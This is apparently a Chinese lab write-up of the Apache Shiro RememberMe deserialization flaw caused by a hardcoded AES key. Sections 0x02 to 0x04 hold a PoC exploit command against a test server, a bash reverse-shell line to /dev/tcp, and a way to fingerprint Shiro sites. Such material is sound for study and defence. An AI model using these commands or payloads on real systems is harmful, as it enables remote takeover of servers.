0x00 Apache Shiro簡介
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
只要rememberMe
的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。
0x01 漏洞分析
Shiro提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。
Shiro對rememberMe的cookie做了加密處理,shiro在CookieRememberMeManaer
類中將cookie中rememberMe字段內容分別進行 序列化、AES加密、Base64編碼操作。
在識別身份的時候,需要對Cookie里的rememberMe字段解密。根據加密的順序,不難知道解密的順序為:
- 獲取rememberMe cookie
- base64 decode
- 解密AES
- 反序列化
但是,AES加密的密鑰Key被硬編碼在代碼里,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼后,作為cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。
0x02 使用POC自動化攻擊
為了驗證POC是否可用,我們試着利用POC在服務器新建一個a.txt文件。
python shiro_exploit.py -t 3 -u http://192.168.2.184:8080 -p "touch a.txt"
創建成功:
0x03 利用nc反彈shell
為解決通過Runtime.getRuntime().exec()執行命令的有效負載有時會失敗的問題,使用在線轉換器轉換命令,保證沒有空格的存在。
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/3444 0>&1
執行POC
反彈成功
0x04 利用姿勢
(1)如何判斷一個站點使用了shiro框架?我們只需將發包中的cookie設置為Cookie: rememberMe=1 向根目錄/ 發送POST/GET請求,若返回rememberMe=deleteMe, 那么就是shiro的代碼。
0x05 參考連接
https://www.cnblogs.com/renhaoblog/p/12971152.html(我的老部長~)
聲明:以上僅用作學習研究,切勿用作違反犯罪活動~